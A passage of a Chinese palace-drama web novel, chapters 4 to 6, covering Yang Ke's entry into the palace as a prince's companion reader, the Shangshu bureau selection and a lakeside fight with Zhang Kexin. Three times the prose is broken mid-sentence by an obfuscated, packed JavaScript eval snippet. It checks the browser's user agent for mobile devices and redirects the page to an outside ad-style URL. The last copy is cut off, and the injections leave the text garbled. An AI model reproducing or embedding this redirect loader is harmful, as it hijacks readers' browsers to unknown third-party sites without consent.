杨涛走上前,双手握着她的肩膀,既慨叹又无奈:“柯儿啊,你不晓得,我和你额娘,这辈子最不想看到的事情就是你进宫,你是我们的心肝宝贝,我们怎么舍得!”越说越激动,眼眶里都跳出了水花。 杨柯虽不愿进宫,但杨涛这阵仗实在夸张,听得她浑身起了鸡皮疙瘩。 程玉槿也看不下去他过头的表演,插言道:“我们知道你不愿意。按照惯例,你在宫内只需待满三年,三年之期一到,爹娘便会接你出来。” 杨柯松了半口气,她掰着手指头算:“只需要三年,那我二十一岁时就能离开那鬼地方,这买卖做了也不算亏。” 杨涛继续嘱咐道:“女儿啊,在宫中还有师父照看,青桃也是个聪明伶俐的孩子,她会跟着你进宫,继续照顾你。”青桃朝着杨柯使劲点头,杨柯看着她单纯可欺的样子,有些发慌,只好朝她干笑,青桃点得更使劲了,杨柯反倒笑不出来了,“爹,娘,你们能不能早几天接我出来啊?” “这事儿实在为难爹娘了。”程玉槿握住她的手,“不过柯儿,你要记住,千万要远离那些围着权力打转的人,做到这点,你也不会出什么岔子。” “额娘何出此言呐,按理来说,若是在他们微时便倾囊相助,一旦他们成功,我不就能跟着鸡犬升天吗?” 程玉槿看了看杨涛,两人达成了默契:“以往我们觉得你年纪尚小,不便过早向你灌输这些观念,可是现下你要进宫,这些事不得不告诉你。” 杨柯听着她的话,好奇之余更多是紧张。 她继续道:“那些人,用得着你的时候,巴不得掏出心窝子来对你好,可若是用不着你了,巴不得你死了才好。” 杨柯更笑不出来了,她望了望爹,又看了看娘,苦着脸回道:“好,我记住了。” 当时的杨柯未曾预料到,额娘口中轻飘飘的一句话,在以后的岁月里,会有无数的人用血和泪为它做注解。 4. 进宫 接下来的几日,杨柯在家中收拾细软,爹娘又专门请了宫中的阿婆来教她宫中礼仪,时间排得慢慢当当,可她学了这个转头就忘了那个。饶是如此,她也整天得不着闲,加上每日见着杨涛在跟前儿抹和眼泪,本来有些感伤的情绪也被搅和没了。 皇宫那边选拣了个良辰吉日,差了一队人马,一大早便到了杨府门前。磨蹭了半柱香的功夫,杨柯与爹娘挥手作别。轿帘落下,一声“起轿”响起,后车四角的铃铛叫得滴哩哐啷,轿子悠悠地朝着京城中央的紫微宫晃去。杨柯撩起车帘,伸头往外瞧去。一路上的景象全是她平时见惯了的,但此刻却尤为珍惜——往后三年里恐怕自己很难再见到了。 马车停在了东华门前,那里已然站着几个青衫伴读。杨柯下了轿子,还未往前走去,宫门内转出八名捧香宫女,后头跟着位鸦青蟒袍的礼监太监,尖着嗓子道:“诸位且随咱家往文华殿拜印——” 话音未落,一声斥骂乍起:“小心点儿!别脏了我的鞋!”杨柯被吸引过去,说话之人一身翠纹长袍,面色通红,活像只被惹急的螳螂。跟前跪着的粗使下人抖如筛糠,胸前衣襟上还沾着些泥点子,“公子,茶水实在太烫……”话还没说完,烫水便淋了上来,原本焦黄的脸霎时通红。 “这靴面绣的是苏杭十二色绞金线,若被沾上了茶水,拿你全家性命来换都不够!” 周遭伴读们或嗤笑或摇头,杨柯仔细一瞧,那公子银靴上的水印不过拇指大小,落在云纹上几乎微不可辨。 她正感恼火,却听宫墙拐角处传来铁甲相撞的铮鸣:“文华殿前喧哗者,杖二十。”接着一列马骑鱼贯而来。马上之人各个身长八尺,头戴凤翅金盔,手中朱缨丈二枪映着朝阳寒光凛凛。 杨柯顿时看直了眼,想来他们便是大名鼎鼎的羽林卫了。云昌吉所属的云氏一族执掌京城安防,统御九门禁军,而羽林卫则是从万千军中精锐里层层筛选、万里挑一而来,专职守卫皇室安危。杨柯忽而想到云昌吉平日里那副呆头呆脑的模样,为何同为禁军,二者竟有这般云泥之别? “大人,且把这贱奴打发了去!”螳螂竟恶人先告状,指着跪地的下人高声喝道。 领头的羽林卫开口道:“今日李公子的鞋上沾的是水,昔日令尊的甲胄上沾的是血。”原来这螳螂乃是镇北将军李冲次子,“如今你既已入宫,担任皇子伴读,这是家门荣耀,也是家门责任,还请李公子行事稳重,莫要辱没了家族声名。” 听了羽林卫的话,螳螂的气势也瘪了下去,但仍梗着脖子道:“多谢大人提醒。我自会处理家事,就不劳烦大人费心了。” 羽林卫微微颔首,目光掠过螳螂,继续驱马向前。 杨柯望着他们威风堂堂的背影,竟莫名冒出一丝怜悯,还没等她弄明白心中所想,便听见公公的尖嗓子重又响起:“诸位,时辰不早了,随咱家去殿内拜印吧。” 忙活了一盏茶的功夫,众人终于走出了文华殿。还没来得及歇口气,男子与女子又被分别领到不同的宫殿去。 “各位姑娘,今日便由老奴为你们细细讲解宫中规矩。”此人名唤张嬷嬷,生的一张瘦削脸庞,皮肤虽显松弛,但瞧着面相倒不让人反感。“既已踏入这宫门,往后行事可就不能再像自家府里那般随性了。老奴接下来的话,还请各位务必记在心里。”她清了清嗓子,肃然开口,“每日卯时一到,宫门准时开启,待到戌时,各宫门落锁进入宫禁。除了值夜当差的,其余人等一律不许随意走动。但凡有人胆敢违逆,将以违反宫规论处!” 说到最后一句,唾沫星子快要飞到面前人的脸上。她满意地检收到众人怯意的神色,视线最后停在了离她最近的伴读身上,“烦请姑娘重述一遍。” 那女子倒也不惧,脸上瞧着机灵,眼珠子转了圈,一五一十地将方才的话讲了个完全。 张嬷嬷满意颔首,又扬起下巴,继续道:“身为皇子伴读,诸位更需严守时间与规矩。卯时初刻前着整洁服饰至皇子居所陪膳,随后一同前往书房,全身心投入课业学习。” 一人插言问道:“嬷嬷,我们明日便能跟皇子一同学习了么?” 张嬷嬷的脸上露出浅笑:“姑娘莫急,本月尚书内省会教导各位宫廷规矩、诗书礼仪,待各位禀姿合格,再同皇子公主们一齐上课。” 说完,侧门处走进来几名宫女,手里端着木盘,木盘上整齐堆叠着锦带。 张嬷嬷执起一条,“从今日起,你们腰间都需系上如意结,往后可不许随意摘下。”说话间,宫女递来锦带,张嬷嬷演示系法,众人接过后纷纷缠上腰间,手上也跟着动作。 杨柯眼瞅着张嬷嬷的手左绕两圈,右绕三圈,脑子里也跟着云山雾罩,只好胡乱卷了几下,打了个松松垮垮的结。 诸事一一安排妥当后,众人便在宫女们的引领下,分别前往各自居住的宫殿。杨柯恰好被分配到由张嬷嬷带领。此番前行不能再走上次的路径,而是得绕过神武殿,从偏门进入后宫。尽管天刚破晓,宫道上早已满是往来的宫人。他们身着一式的宫装,浑像画本师傅偷懒时随手勾勒的一列木偶。没人时便低着头,身子蜷缩着,见着人便抬首堆笑、躬腰行礼,脸上的皮肉反倒舒展得格外开,一套动作下来熟练敏捷,看得杨柯又是惊叹又是佩服。 如今才刚入夏,日头便晒得人直冒汗。杨柯碰了碰青桃衣袖,视线带向她手里拎着的木盒子,悄声道:“取些出来。”木盒里放着用来纳凉的冰块,既然已经走得出汗,拿些搁在嘴里岂不美哉? 青桃的手刚伸进木盒,张嬷嬷的声音便冒了出来:“姑娘,但凡不在自己房中,除了陛下与娘娘赏赐,可不能随意拿东西吃。”话虽平淡,可她额头上的细汗倒是挺多。 杨柯嘿嘿一笑,凑上前悄声道:“嬷嬷,要不你也来点儿?冰块放到嘴里一会儿就化了,谁也看不出来。”说着揽过她的肩头,“我保证不跟人说。” 张嬷嬷的脸瞬间变黑:“你当我是什么人?”一把将杨柯的手薅了下来,垮着脸拧着眉,头也不回地往前走了。 杨柯一脸错愕,青桃朝她使了个眼色,“嬷嬷不怕热。” 女包拯的声音从前边传来:“姑娘们,再磨蹭的话,太阳都快下山了。”二人接着赶忙追上去,一边嘴里还嘀咕着:“这鬼地方都是什么人呐?”顺手又往嘴里塞了个冰块。 路过鎏芳宫时,一阵低低的呜咽声突兀传来。杨柯被哭声勾住了脚步,忍不住探头朝里张望。只见几个年轻宫女正紧紧围成一团,身姿佝偻,蹲在地上低声抽泣。这么漂亮的宫苑内,竟有人如此悲伤。 张嬷嬷也停了下来:“杨姑娘,在皇宫里,最要紧的便是收起你的求知欲。” 杨柯闻言看向她,她语气随之一厉:“好奇心害死猫。” 即便是阳光照着,杨柯的脚底也陡然升出一丝冷气,“她们被罚了?” 张嬷嬷沉默了良久,方才开口:“鎏芳宫里走了位主子,她们做奴才的也没处去了。”语气中带着一丝微不可闻的叹息。 杨柯感到疑惑,按理来说,妃子年龄最大不过五十,而且依据那几个宫女的打扮,她们的主子应该是个份位不高、年纪轻轻的嫔妃,怎么会殁了? 她还想再问,却见张嬷嬷目光如鞭,她也只好收回嘴。 终于,她们停在了一座大门前,金丝楠木的门框上写着“咸毓宫”三个金书大字。 “这便是咸毓宫——乐白郡主的寝宫。姑娘在下一轮分配前,负责陪读乐白郡主。”张嬷嬷指着门楣上的牌匾,“跟奴婢进来吧。” 一踏进门,宽阔前庭便现于眼前。庭院中遍植芭蕉与梧桐,天然有种月夜听雨声的雅致意境。东南方土山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207049|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上落着八角亭一座,与芭蕉梧桐遥相呼应。 青桃轻声试探问道:“嬷嬷,乐白郡主为何会住在宫里?郡主难道不是应该跟着公主殿下住在府里吗?” 张嬷嬷这时倒是耐下了性子来:“郡主乃安乐长公主与赤水王所出。王爷常年于西南边陲镇守疆土,蜀地潮湿,殿下心疼郡主难以适应,遂将郡主送回京城,安置于咸毓宫,这里也是殿下往日居住的宫殿。” 说话间,三人终于来到了住处——咸毓宫东侧的凌薇苑。小院虽然不大,但布置得十分雅致。院中种满了各种花卉,足见主人用心。 “这里便是姑娘歇息的地方了。郡主正在崇文馆上课,稍后便会回来。”张嬷嬷欠身退后,“老奴先告退了。” 二人躬身作别:“嬷嬷好走。” 踏入屋内,但见布置精巧,满室雅洁,东边是正房,西边为茶间,侧边小门即为侍女居所。屋子面积虽小,但对杨柯与青桃而言,居住其间,倒也宽绰有余。 青桃正手脚麻利地收拾着房间,手上动作不停,口中却忍不住向杨柯发问:“小姐,公主跟郡主两代人都住这咸毓宫,还都用咸毓宫当名号,这里头莫不是藏着什么特别的讲究?” 杨柯出了一身的汗,忙着换下衣服,想也没想便随口答道:“为何叫咸毓?这还不简单,抱着咸鱼不放手,功课丢在脑后头。” 恰在此时,一道话音伴着清脆笑声入耳:“‘咸毓秀钟灵’是尔,不过我平日里也和咸鱼没什么两样。” 杨柯转过头去,一个十四五岁的少女蹦蹦跳跳地进了门来:她一身月白的丝绸长裙,步态轻盈。因还未到及笄的年纪,头发按照大夏的规矩梳着细细的发辫,发丝中犹有几撮叛逆的毛儿,从秩序分明的发辫中跳将出来,蓬蓬地飘在头顶。 杨柯顿时反应过来,急忙向少女恭敬行礼:“参见郡主,臣杨柯。”一旁的青桃见状,也赶紧跟着行礼问好。 “快请起快请起,”乐白直愣愣地端详着杨柯,双眸清亮,“终于见到你了。” 杨柯被她瞧得不好意思,于是尴尬道:“方才是青桃同我闲聊,不曾想郡主驾到,有失礼节,在此向郡主道歉。”心里连连懊悔,背后讨论人家竟被抓个现行,真是丢人现眼。 乐白轻轻摆手,礼节规矩也随着她的动作飘远了:“哪里来的歉,我怎么没瞧见?这凌薇苑你们可觉得满意?”说罢,目光在屋内慢慢绕了一圈,似乎也在等待她们的回应。 杨柯心里一奇,这郡主倒是个妙人,“满意满意,多谢郡主细心安排。”青桃也在一旁跟着附和。 乐白听了甜甜一笑,露出两颗虎牙:“以后叫我乐白便是。虽说你是伴读入宫,但以后我们要长久相处。我该怎么称呼你?” “阿柯,我的朋友们都喊我阿柯。”杨柯感到畅快,情不自禁地欲要上前与郡主勾肩搭背,青桃赶紧咳嗽提醒,她这才反应过来不妥,顺势将手臂绕回,一边装作挠头,一边冲着对方干笑。 乐白并未察觉异样,只是瞧见她手臂上的月牙,惊异道:“这是你自己画的么?好生有趣。” 杨柯朝她笑道:“胎记胎记,打娘胎里就带着了。” “郡主,尚书局的人到啦!”一个十五六岁的宫女小跑着进来,一头乌油油的黑发结成小辫子,发尾随着脑袋在空中上下扑腾。 乐白眼睛一亮,朝杨柯道:“定是来看你的。”又对着小宫女吩咐道,“醒初,快将她请进来吧。” 一个身形细长的宫女跟着醒初进了门来,冲着乐白和杨柯行了礼,“明日尚书局安排了女官选拔,还请姑娘按时前往学馆应试。” 杨柯问道:“尚书局?是不是公孙大人曾经呆过的地方?” 那宫女含笑颔首:“正是,明日公孙大人也会来。” “好,明日我定准时到达。” 5. 选拔 尚书局的选拔安排在卯时,到了崇文馆,天还没亮。杨柯方一落座,便听前面的女子抱怨起来。 “困死我了,尚书局的选拔比伴读考试还早。”说话的姑娘一张圆脸,粉嫩的脸蛋上点着几颗雀斑。 一旁的长脸女子啧嘴道:“尚书局在尚书内省的地位可不一般。其余五个局哪有胆子这么支使我们?” “姐姐此话怎讲?” 长脸娓娓道来:“尚书内省一共有六局十二司,其余五个局负责的不过是些后宫的大小事宜,唯独这个尚书局能接触到外廷政务,还有机会擢升为陛下身边的御侍令呢,公孙大人就是从尚书局提拔上去的。” 圆脸听得一脸迷茫:“什么尚书下书的,听得我头都大了。若不是要点名,我便让丫头来了。” 长脸倒吸一口冷气:“妹妹,这话在宫中可不能说。”停顿了一下,低声道,“除非你姓章。” 圆脸一脸疑惑:“姓章会如何?” 长脸斜睨她道:“你是从外地来的吧?连章家都不知道。他们在京城中可是名门大户。镇北大将军章满乃是宸妃娘娘的兄长,羲王殿下的舅舅。” 见圆脸张大嘴巴,长脸也顾盼自豪,又继续道:“他们章家在西北镇守边境,早年收了楼兰多少土地,军功赫赫,那章大将军一回京皆是百官相迎,甚至在皇上面前都不失威风。” 圆脸惊叹道:“可真是神武将军,从前听爹爹提到过章将军的名号。” “可不是嘛!章家贵为外戚,又军功有名。”她脸上露出八卦神色,“羲王与章二姑娘从小一同长大,青梅竹马,他们订婚是迟早的事。” 圆脸满是难以掩饰的失望:“羲王竟……”又轻轻叹了一声,“这种美梦本就不是我们能想的。” 长脸见她低头叹息,忍不住安慰道:“这宫中皇子哪个不是玉树临风?没了羲王,还有端王、宣王呢。”见对方不为所动,又补道,“妹妹可见过宣王?听闻宣王殿下是众皇子中最好看的,他母亲瑾妃是柔然公主,西域那边儿的女子长得可是个顶个的俊俏。” “长相出众又如何?还是比不上羲王殿下从沙场归来的模样,我这辈子都忘不掉。”圆脸神情痴痴,仿佛眼前正是羲王骑马凯旋的英姿。 看着圆脸犯花痴的模样,杨柯不禁好笑又惋惜,多好的一个姑娘,却要执迷于皇家子弟,即使能嫁入帝王家,还不知道有多少苦头要吃。 长脸笑叹道:“你还真是个情种。虽说宣王看起来斯斯文文的,但他的武功可不在羲王之下,当年陛下南巡,在路上遭遇暗杀,是宣王一箭射杀了刺客,救了陛下。” 杨柯心里暗自称奇,这宣王竟如此厉害,之前就听师父夸赞过此人,没想到在险境之下还有勇猛一面。 长脸将手拢在嘴边:“宣王背后是易家,这你应该听说过吧?” 圆脸点点头:“易大人是两朝老臣,谁人不知呀?” “还有端王和宫家,”长脸连声啧嘴,“虽然宫家不如章家和易家那么权势滔天,但丽妃荣宠二十年不衰,宫询也是执掌六部之首吏部的大权。” 什么这个家,那个家的,把杨柯听得晕头转向。正无语着,忽见门口走进来两名女子,打首的遍身绫罗,娇俏美艳,跟着的一身青萝长裙,正是入宫那日与张嬷嬷对答如流的女子。 “这就是章二姑娘,她身后的是刘生将军之女刘悦。” 圆脸带着羡慕和酸意凝视了片刻,见章二渐渐走近,便垂下眼去装作没看见。 长脸安慰道:“你也莫灰心,今年前线换了章家公子章擎坐镇,本以为能扭转章家如今的颓势,结果还是丢了不少土地。听人说,这朝中忌惮他章家的有的是人。” 圆脸来了兴致,刚想开口说话,又缩了回去,目光投向新进来的二人。 杨柯在她们身后听着,她本对这选拔毫无兴致,倒是两人的对话打散了困意,现在突然结束,心中竟觉得意犹未尽。 进来的女子身着青色官服,头戴莲花冠,另一人身着外朝紫色官服,面容白皙细嫩,看着倒像是个女人。 “在下尚书内省的内司徐英,”伸手示意身旁的男子,“这位是户部左侍郎公孙大人。” 听到公孙二字,杨柯一个挺身坐了起来。 徐英缓缓开口:“众人皆为京城中才貌出众的女子,今日我等前来,意在遴选更为拔尖者,纳入尚书局。” 身旁有女子窃窃私语道:“为何户部要来帮着尚书局选人?” 另一人回道:“公孙大人出身尚书局,曾经又是陛下身边的御侍令,这回陛下赐了公孙大人特权,由她来负责此事。” 有女子好奇发问:“公孙大人,尚书局究竟司职何事?” 公孙瑶解释道:“简而言之,便是协助陛下处理六部政务文书。但凡章奏等各类文书传入内廷,先由尚书内省负责收纳登记,而后依类分别呈递给陛下御览,或是代行批阅。待旨意定下,形成诏令,再向外颁布。哪怕是陛下欲下旨意,亦需尚书内省诸位宫官从旁协助,将旨意整理成内批,方能颁至外廷,通达各处。” “可我们尚未接触过政务,哪里会批阅奏折?” “诸位莫要忧心。待你们进入尚书局,最初会担任尚书女使一职。这期间,主要职责便是辅佐御侍令。尚书局平日里一应事务,从文书的处理到政令的传达,事无巨细,皆由她们统筹安排,而你们只需听其指引即可。” “好了,这些问题留着以后再问。”徐英不耐道,“我们到这来不是解答疑问的,是来选人的。” 众人脸色露出不耐,但碍于身份又不好发作,只有小声嘀咕。 徐英缓缓肃然道:“各位如何理解‘以天下为己任’?” 全场安静了一瞬后,坐在第一排的章可馨举手:“以天下为己任,自是要凭高远瞩,以我之智为万民谋福。” 徐英点头称赞:“不错,那你认为要如何为万民谋福?” 杨柯抻着脖子去瞧公孙,她似乎并未在听二人的对话,悠悠晃着折扇,视线飘到了后墙的丹青上。杨柯顺着她的视线转头看去,左瞅瞅右看看,半天也没瞧出什么名堂来。 “杨柯,你有什么想法?”杨柯浑身一震,回头一看,徐英的目光落在了自己身上。明明坐在最后一排,怎么还被点名点上了? 杨柯结结巴巴地开口道:“若大人觉得对,那便是对,若大人觉得不对,那便是不对。” 四下里嘀咕声响起:“她说什么呢?” “听说此人是甲等进来的。” “这就是甲等的水平?” 一直沉默的公孙瑶开口道:“那你自己如何认为?” 杨柯想也没想便答道:“只有傻子才会这样想。” “不得无礼。”徐英眉头拧起,“你重新回答一遍。” “徐大人,这就是我的想法。” 话音甫落,场子里议论声又纷纷四起。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207050|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这人到底什么来历?” “她是李元李太傅的关门弟子啊!” “怪不得呢。” 公孙缓缓问道:“为何你觉得傻子才会以天下为己任?” 杨柯嘀咕道:“光凭一个人怎么能管得了天下?又不是皇帝……” 徐英喝道:“放肆!” 公孙抬手示意:“让她继续讲。” “若所有人都愿意以天下为己任,但科考随随便便就能考上?若考不上怎么能以天下为己任呢?可考上了以后,默默无闻、庸庸碌碌地做一个卑微的小官,又怎么能以天下为己任呢?” 徐英正色道:“勤奋读书,仕途通畅,方为正道。” “朝廷里七品以上的官员也不过百人,全天下的读书人可远远不止这么点儿啊。” “正因重臣难当,因而更要发奋图强。” “当官的寥寥无几,剩下的读书人,难道他们就不努力了吗?以天下为己任,难道就要寒窗苦读、为官做仕?”杨柯咧嘴一笑,“我倒是觉得,每日遛鸟贪酒也很不错,没给天下人添麻烦不也是一桩好事?倘若人微言轻,饱食果腹犹不可得,更遑论养家糊口,做官为仕更是奢望。” 徐英怒道:“胡说八道!” 杨柯并不受她影响,反倒有条有理:“徐大人,我可没有胡说八道。杜甫说要‘致君尧舜上,再使风俗淳’,实际上他一生落拓潦倒,穷老死在异乡路途之上,理想到死也没有实现。连他的结局都尚且如此,难道芸芸众生还能比得上诗圣之才?” 公孙瑶蓦地撑案而起,晃着折扇,懒洋洋道:“好了,今日我也就听到这里,徐大人,你且好生甄别,我手头尚有诸多要务亟待处理,不便久留,先行一步。” 徐英一怔,旋即笑着点头,右手抚左拳,欠身一礼:“您先忙,下官恭送。” 众人起身送行:“公孙大人好走。” 落座后,徐英又点了另一名伴读,并未再理杨柯。 恰好杨柯的注意力也跟着公孙走了,她趁着众人不留神,从后门偷偷溜了出去。 “大人!”杨柯压着嗓子喊她,“公孙大人!” 公孙瑶听见身后的动静,停下脚步,狐疑地回过头来:“你有何事?” “大人瞧着好生气度不凡。” 公孙微一挑眉,飘了一眼她身后的学馆:“你专门跑出来就为了拍我马屁?”说完便转身往前行去。 杨柯跟了上去:“官爷不都爱听这套?” 公孙冷声道:“我这里不需要。” 杨柯缠在她身后,絮絮叨叨:“当官的好处不就是被人捧着,既然您不爱听,那为何要当官呐?不觉得闷吗?” “怪不得方才你会那么说。” “您也觉得我在胡说八道?”杨柯故意为此,她并不想当了女官,三年后还得守在宫里,但其中道理并非是在胡说八道。 公孙的脚步终于停了下来,“话糙理不糙。”说着拂了拂手上的扇子,“世事不坏于真小人,而坏于伪君子。” 杨柯听得云里雾里,只好嘿嘿一笑:“我今年十八,也算不得小人了。” 公孙拿着折扇敲她额头:“那你算君子?”她嘴角微扬,“君子可不是好当的。”话音还未落,人已经走远,“先不聊了,改天咱们尚书局见。” 杨柯愣在原地,“尚……尚书局?”她还未反应过来,忽然身后的屋子里“嘭”地一声乍响。 6. 遇见 响声正从自己座位那块儿传来,杨柯回头一看,桌椅已是掀了个四脚朝天,方才说话的长脸和圆脸二脸惊恐,簌簌发抖。章可馨正盛气凌人地立在她们跟前,后面还杵着个刘悦,气势仿佛黑白双煞来人间索命似的。 还没等她弄清楚状况,接着又是一道声响:“啪!”章可馨竟然抽了那长脸一巴掌,五根手指印结结实实地伏在她脸上。 众女眷皆噤了声,像被冻住似的呆呆看着眼前的景象。 “章姑娘……”长脸颤颤巍巍地望向章可馨,眼里竟没有一丝怒意。 “怎么不聊了?方才不是聊得很起劲么?”章可馨的语音清脆,虽在恫吓,却带着三分甜媚。 “我们只是在……”话音还未落,又是“啪”地一声,鲜红的掌印落在了长脸的另半张脸上。 “不想再被我掌嘴,就闭上嘴!”章可馨大声喝止,凌然的眼神又落到了一边的圆脸身上,“你也敢对二哥有兴趣?” 圆脸颤抖着声音道:“不……不敢了。” 门外的杨柯提步进去,插在她们中间,四人皆是一愣,狐疑地看着她。只见她笑嘻嘻道:“你们在玩什么把戏?相扑吗?” 刘悦率先反应过来,朝她甜笑道:“杨姑娘,你最好少来多管闲事。” 杨柯见她皮笑肉不笑的样子,自然生厌,脸上却咧开嘴笑:“我哪有这闲工夫插手,就是好奇你们在玩什么新鲜花样儿。” 章可馨没了耐心,皱起脸喝问道:“你是哪儿来的丫头?” 人群中一个声音冒了出来:“她不过是个商贾之女,凭着李太傅的关系才有了进宫的机会。” 章可馨又是惊讶又是好笑:“商人?” 刘悦故意拖着长音:“商人都能进宫了?真是稀奇。”不少女子拿起手帕掩笑,另一些看不惯的低头叹气。 杨柯也跟着笑:“让二位大小姐开眼界了。不过,既然你们出身名门,想必比我这个商人之女更懂,皇宫内外皆以和为贵、以理服人的道理。”目光对上了双手抱胸的章可馨,“章姑娘动辄掌掴,好像不太合适吧?” 章可馨冷脸打量着她:“狗肉上不了宴席,你当真以为自己能言善道就有资格多管闲事?” 杨柯朗然道:“今日并非是我要教训二位,只不过此事若传到宸妃娘娘和各宫主子的耳中,说不定会特意传唤二位过去,好好夸奖一番。” 章可馨的脸色微微一变,她虽骄横,却也不蠢,若闹到了她姑姑宸妃面前,可就没那么好办了,但她嘴上仍犟:“让她们知道又如何,关你何事?” 杨柯耸耸肩:“确实不关我的事,我不过是好心提醒,至于章姑娘听不听,就是你的事了。” 章可馨吃了瘪,心里憋着气,恨声道:“真是晦气,怎么召进宫的伴读个个都这么讨厌。” 刘悦跟着接嘴:“不知道是哪些人在背后做了手脚,掺进来些小喽啰。” 杨柯顿感无语,不想继续跟她们纠缠了,准备转身走开。刚走出几步,忽然背后被人猛地推了一把,一个踉跄栽进了门前的承影湖里。 “嘭!”扑通一声,有人大喊:“她落水啦!”接着吵嚷声迭起:“会不会出人命啊!”“来人呐!” 这些伴读都是深宅大院里的小姐,心地善良,见了这样的事自然吓得花容失色,心都提到了嗓子眼儿,生怕面前活生生的人没了,于是都纷纷呼号着救人,岸边裙裾翻涌,呜呜嚷嚷乱成一团。跑来崇文馆凑热闹的乐白也刚好撞见了这一幕,大声呼唤着宫人过来帮忙,“阿柯!马上来人了!” 众人正焦灼地注视着在水里扑腾的杨柯,没想到她一个挺身站了起来,而那水位尚未没过肚子。原来承影湖的湖底是个漏斗形状,湖心最深,越向岸边延伸去就越浅。当年设计此湖的师傅也是积了大德。 杨柯半截身子晾在外面,扯着嗓子大声吼道:“章可馨,你给我站住!” 章可馨倒也没急着走,反倒悠悠地晃了过来:“唤我作什么?明明是你自己摔进去的。”她的目光落到乐白身上,“乐白,你对这个丫头这么好,难道想换玩物了?” 杨柯心中一股火“嘭”地炸开,直接冲上去,根本没给对方反应的时间,当头对着章可馨就是一巴掌。 “啪”地一声,清脆又响亮。 众人皆呆在原地,章可馨也被她打蒙了,硬是愣了片刻才反应过来,气得连话都说不清:“狗东西……你不要命了?” 杨柯也不示弱:“嘴巴还不放干净,看来还想吃巴掌?”扬起手掌作势要再打下去。 章可馨被吓得退了半步,旋即又反应过来,猛地伸出手,想要扯住杨柯腰间的系带,可原本的如意结被杨柯糊弄成了个活结,她大力扑去,反而抓了个空。杨柯见势,趁机绊她一脚,章可馨失去平衡,扑通栽到了地上。 周围的人哄笑起来,乐白甚至看热闹不嫌事大:“阿柯,快将她按住!”一旁的刘悦想要加入战局,却被乐白一把拦住,她也只好悻悻地退下。 云昌吉刚好路过,老远便听见湖边闹哄哄一团,走近了才发现是杨柯,他也挤进人群里欲上前阻拦:“别打了!你们快住手!有什么事可以好好说。” 杨柯大声道:“云昌吉快来帮我打她!” 云昌吉愣在原地:“这……这不好吧。” 乐白见了昌吉,嘴角微微一动,似乎要笑,却又隐去。 “你们别打了!”云昌吉上前伸手扒拉她们,却被章可馨一把推到了水里,也落了半身湿透的下场。 两人你踩我脚,我撞你头,难分难舍。章可馨虽出身武术世家,但平日里养尊处优,体力终究不及杨柯,没过多久便败下阵来。 突然一声训斥传来:“宫内厮打,成何体统!” 方才满耳的喧闹如气泡戳破一般瞬间消失,而后众人齐声行礼:“参见殿下!纪夫子!” 这时,杨柯和章可馨默契地放开彼此,乖乖地在一旁垂目而立。 四周又静默下来,众人的目光不约而同地落在了两位泼皮身上:二人皆是衣衫凌乱,发髻也成了歪歪扭扭的麻雀窝,嘴角边还留着几道爪印。 纪启明压着怒气道:“阿柯,可馨,你们在这做什么?”此人正是御书院的祭酒纪启明。 杨柯率先答道:“回纪夫子,我们在探讨学问,不慎因见解不合起了争执,未料动静过大,惊扰了夫子和殿下,实属不该,实属不该。” 章可馨见状也认栽,跪着欠身道:“可馨知错,愿受责罚。” 气氛一时凝固下来,忽听一人仰天大笑:“本王活了这么多年,见过宫里的女人打架,还没见过打到水里去的!”众人闻言皆掩嘴偷笑。 乐白开口解围道:“让大哥见笑了,她们前几日刚入宫,还未适应宫里规矩。”原来方才大笑那人是端王宇文拓。 纪启明愠怒的目光在杨章二人身上打转:“若是探讨学问,怎么会落了水?入宫时嬷嬷们教的礼节规矩都忘了?” “夫子说得正是。”杨柯一个心急说秃噜了嘴,赶忙改口,“正是……正是探讨得入了迷,才不小心跌落了水里。” 一声低沉的嗤笑不远不近地传来:“纪夫子,这就是御书院今年新招的伴读?你们的遴选风格还真是别出心裁。” 杨柯抬眸望去,说话之人一身玄色窄袖蟒袍,负手立于宇文拓身侧,身姿挺拔,面容俊美。 她不禁呆在原地,并非因为对方的长相,而是此人让她想起了紫英阁的那位侠客——不过他的眉宇已是截然不同,更不似那晚的温和戏谑之态,反而是扑面而来的冷傲。 章可馨本埋着头乖乖认错,一听到他的声音,立马直起身指着杨柯告起状来:“二哥,方才她自己不小心落了水,还想栽赃到我头上,要打我呢!” 杨柯心中一惊,他竟是羲王宇文泰!难道是她认错人了? 宇文泰察觉到杨柯的目光,也微眯起双眼,开始打量起她来。 刘悦当即附和:“望殿下明鉴,臣亲眼看见她动手打可馨!” 还没等他做出反应,宇文拓对着一旁半身湿透的云昌吉道:“哟,云兄也来了?”语气中满是嘲弄,“怎么,你也跟她们一起探讨学问了?” 众人又是一阵低笑。 云昌吉正色道:“回禀殿下,臣见她二人争执起来,便想出手拉一把。” 宇文拓哂笑道:“故而拉进水里了?” 杨柯见状解围:“殿下误会了,臣不小心失足掉进湖里,幸好云公子伸手相救,才捡回一命。方才跟章姑娘开了个玩笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 